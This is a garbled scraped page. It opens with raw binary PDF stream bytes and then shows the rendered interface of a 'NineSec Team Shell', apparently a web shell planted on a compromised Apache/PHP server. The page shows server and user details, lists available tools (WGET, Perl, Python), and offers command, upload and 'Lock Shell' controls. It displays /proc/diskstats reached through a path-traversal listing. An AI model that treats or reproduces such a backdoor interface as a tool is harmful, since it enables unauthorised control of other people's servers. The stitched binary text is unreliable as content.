%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 192.168.60.199  /  Your IP : 192.168.60.1
Web Server : Apache
System : Linux PROD-conference 6.8.12-17-pve #1 SMP PREEMPT_DYNAMIC PMX 6.8.12-17 (2025-11-21T11:16Z) x86_64
User : www-data ( 33)
PHP Version : 5.6.40-0+deb8u12
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0555) :  /home/../run/../usr/../proc/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //home/../run/../usr/../proc/diskstats
   7       0 loop0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       1 loop1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       2 loop2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       3 loop3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       4 loop4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       5 loop5 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       6 loop6 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       7 loop7 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   8      80 sdf 634 0 58280 321 0 0 0 0 0 80 321 0 0 0 0 0 0
   8      81 sdf1 102 0 9824 54 0 0 0 0 0 42 54 0 0 0 0 0 0
   8      82 sdf2 99 0 9824 53 0 0 0 0 0 39 53 0 0 0 0 0 0
   8      83 sdf3 99 0 9824 64 0 0 0 0 0 39 64 0 0 0 0 0 0
   8      84 sdf4 99 0 9824 55 0 0 0 0 0 41 55 0 0 0 0 0 0
   8      85 sdf5 99 0 9824 49 0 0 0 0 0 39 49 0 0 0 0 0 0
   8      64 sde 60409988 25699 6960428364 595322843 327257457 267632085 12224659469 259911072 0 22509178 855233916 0 0 0 0 0 0
   8      65 sde1 52 0 2080 13 0 0 0 0 0 5 13 0 0 0 0 0 0
   8      66 sde2 490 1057 43452 125 284 0 284 23 0 74 148 0 0 0 0 0 0
   8      67 sde3 60409327 24642 6960376912 595322643 327257173 267632085 12224659185 259911049 0 28105376 855233692 0 0 0 0 0 0
   8      96 sdg 634 0 58280 294 0 0 0 0 0 76 294 0 0 0 0 0 0
   8      97 sdg1 102 0 9824 43 0 0 0 0 0 31 43 0 0 0 0 0 0
   8      98 sdg2 99 0 9824 52 0 0 0 0 0 35 52 0 0 0 0 0 0
   8      99 sdg3 99 0 9824 56 0 0 0 0 0 41 56 0 0 0 0 0 0
   8     100 sdg4 99 0 9824 53 0 0 0 0 0 44 53 0 0 0 0 0 0
   8     101 sdg5 99 0 9824 48 0 0 0 0 0 40 48 0 0 0 0 0 0
   8       0 sda 509805471 226063237 54556519736 350505267 4093973545 980328367 67189841032 514418715 0 467711218 1077313526 0 0 0 0 1729365363 212389544
   8      32 sdc 497877465 236779148 56407892600 370914278 4153491133 981070705 68800764736 537179632 0 511200616 1123497778 0 0 0 0 1744738452 215403866
   8      16 sdb 513320811 227820321 55166011688 359115097 4557037210 1038723588 72241749776 572652784 0 524117214 1162233997 0 0 0 0 1918022299 230466115
   8      48 sdd 307150729 142983227 33470899872 197216531 3291633439 710086128 48857145520 365426227 0 360684696 729349933 0 0 0 0 1427102539 166707175
 252       0 dm-0 735868638 0 54556507656 568575810 5074301912 0 67189841032 2178920305 0 589360351 2747496115 0 0 0 0 0 0
 252       1 dm-1 1444 0 18568 136 5971 0 47768 183955 0 8154 184091 0 0 0 0 0 0
 252       2 dm-2 450133886 0 33470887792 338115890 4001719567 0 48857145520 1337973705 0 463024402 1676089595 0 0 0 0 0 0
 252       3 dm-3 741141062 0 55165999608 579756219 5595760798 0 72241749776 2435318690 0 703339824 3015074909 0 0 0 0 0 0
 252       4 dm-4 734656543 0 56407880520 606249023 5134561838 0 68800764736 2317626329 0 728652422 2923875352 0 0 0 0 0 0
 252       5 dm-5 63755 0 5672514 16358 505957534 0 9066488120 72649543 0 15669946 72665901 0 0 0 0 0 0
 252       6 dm-6 12423084 0 6954673784 44928261 37040164 0 3158123297 19475681 0 81648271 64403942 0 0 0 0 0 0
   8     112 sdh 364 0 20884 303 0 0 0 0 0 216 303 0 0 0 0 0 0
   8     113 sdh1 31 0 464 20 0 0 0 0 0 21 20 0 0 0 0 0 0
   8     114 sdh2 68 0 3192 58 0 0 0 0 0 52 58 0 0 0 0 0 0
   8     115 sdh3 92 0 9036 95 0 0 0 0 0 88 95 0 0 0 0 0 0
   8     116 sdh4 36 0 768 26 0 0 0 0 0 28 26 0 0 0 0 0 0
 251       0 rbd0 278216 40396 97686642 240080 17537773 27055465 404790680 43477484 0 57606049 43717564 0 0 0 0 0 0
 251      32 rbd2 158835 5379 5610738 92942 25407293 19194953 510542872 55823666 0 50080955 55916608 0 0 0 0 0 0
 251      64 rbd4 129529 30884 3772442 47758 26761421 46296330 639065800 61560858 0 36441644 61608617 0 0 0 0 0 0
 251      80 rbd5 89010 9616 6550234 45789 60835515 30456122 1551407328 116496447 0 72864864 116542237 0 0 0 0 0 0
 251     128 rbd8 7337 1251 771426 5145 12448545 1084218 126791872 24810160 0 15041019 24835361 150064 11417 1134349320 20055 0 0
 251     144 rbd9 133927 29750 8704794 42983 2805023 549411 121305616 7519108 0 10067514 7611027 64602 7898 443140128 48934 0 0
 251      48 rbd3 29993 8274 1635800 19820 2289901 219783 22259949 5402094 0 4379888 5421914 0 0 0 0 0 0
 251     160 rbd10 134613524 280270 4589741882 75630066 280903215 97832631 6356919421 784124397 0 121668371 860467284 843101 510642 1533840168 712820 0 0
 251     112 rbd7 105440 10087 8855156 63849 2246410 387851 52448544 5679145 0 5747203 5857751 49376 10813 251674640 114756 0 0
 251     176 rbd11 149036 15016 118987892 222400 1954903 40517 32426752 4591802 0 3812120 4816933 14714 1498 109631128 2731 0 0
 251      96 rbd6 12189208 109805 401209186 34632496 89192638 17260193 2596189512 234104825 0 277230444 268737321 0 0 0 0 0 0

NineSec Team - 2022